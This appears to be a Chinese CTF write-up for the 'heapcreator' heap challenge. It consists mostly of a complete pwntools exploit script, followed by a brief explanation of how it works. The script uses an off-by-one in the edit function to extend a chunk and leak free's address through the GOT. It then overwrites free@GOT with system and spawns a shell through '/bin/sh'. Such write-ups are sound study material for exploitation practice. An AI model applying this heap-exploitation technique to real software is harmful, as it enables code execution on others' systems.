64位ida分析程序,常见的目录结构;
通过静态分析 发现 edit 的时候 存在 off-by-one 漏洞:
红框标出的地方,可以多输入一个字节。
先看exp:
from pwn import*
p = process("./heapcreator")
e = ELF("./heapcreator")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.log_level = "debug"
def create(size,content):
p.recvuntil("Your choice :")
p.sendline("1")
p.recvuntil("Size of Heap :")
p.sendline(str(size))
p.recvuntil("Content of heap:")
p.sendline(content)
def edit(index,content):
p.recvuntil("Your choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline(str(index))
p.recvuntil("Content of heap :")
p.sendline(content)
p.recvline()
def show(index):
p.recvuntil("Your choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline(str(index))
def delete(index):
p.recvuntil(":")
p.sendline("4")
p.recvuntil(":")
p.sendline(str(index))
def exit():
p.recvuntil(":")
p.sendline("5")
create(24,'amazh')#0x18 + 0x10
create(16,'amazh')#0x10 + 0x10
edit(0,'/bin/sh\x00' +'a'*0x10+ '\x41')
delete(1)
create(0x30, p64(0) * 3 + p64(0x21) + p64(0x30) + p64(e.got['free']))
show(1)
p.recvuntil("Content : ")
data = p.recvuntil("Done !")
free_addr = u64(data.split("\n")[0].ljust(8, "\x00"))
#log.success(hex(free_data)
libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
edit(1, p64(system_addr))
#pause()
delete(0)
p.interactive()
解题思路:
首先创建了两个heap,大小分别是 0x18和 0x10,我们可以通过编辑heap0的content,从而溢出一个字节,来控制heap1 header的size位,从而实现extend。
extend之后 ,进行free(heap1) , 我们可以得到一个 0x41大小的chunk,然后我们再次malloc这个chunk 写入got地址 便可以泄露出free函数的真实地址 ,随后便可以实现任意写了。